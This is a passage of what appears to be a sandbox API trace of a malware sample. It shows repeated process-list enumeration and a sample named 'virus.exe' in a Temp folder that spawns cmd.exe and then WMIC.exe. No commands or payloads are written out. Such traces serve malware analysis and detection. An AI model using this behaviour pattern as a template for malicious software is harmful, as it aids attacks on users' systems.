th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.463] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.463] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.464] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.464] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.464] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.465] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.465] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.465] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.466] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0274.466] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.466] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.467] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.467] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.468] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.468] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.468] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.469] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.469] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.469] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.470] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.470] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.470] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.471] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0274.471] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0274.471] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0274.472] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0274.472] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0274.473] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.473] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.474] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0274.474] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0274.474] CloseHandle (hObject=0x1b4) returned 1 [0274.474] Sleep (dwMilliseconds=0x1f4) [0275.171] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0275.173] Process32FirstW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.174] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.174] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.174] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.175] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.175] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.176] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.176] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.177] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.177] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0275.179] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.180] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.180] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.181] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.181] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.182] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.182] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.183] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.183] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0275.184] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0275.184] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0275.185] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0275.185] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.186] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0275.186] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0275.186] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0275.187] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0275.187] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0275.188] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.188] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.189] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0275.189] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0275.190] CloseHandle (hObject=0x178) returned 1 [0275.190] Sleep (dwMilliseconds=0x1f4) [0275.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0275.808] Process32FirstW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.809] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.810] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.810] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.810] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.811] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.811] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.811] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.812] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.812] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0275.812] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.813] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.813] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.813] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.814] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.814] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0275.814] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.815] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.815] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, 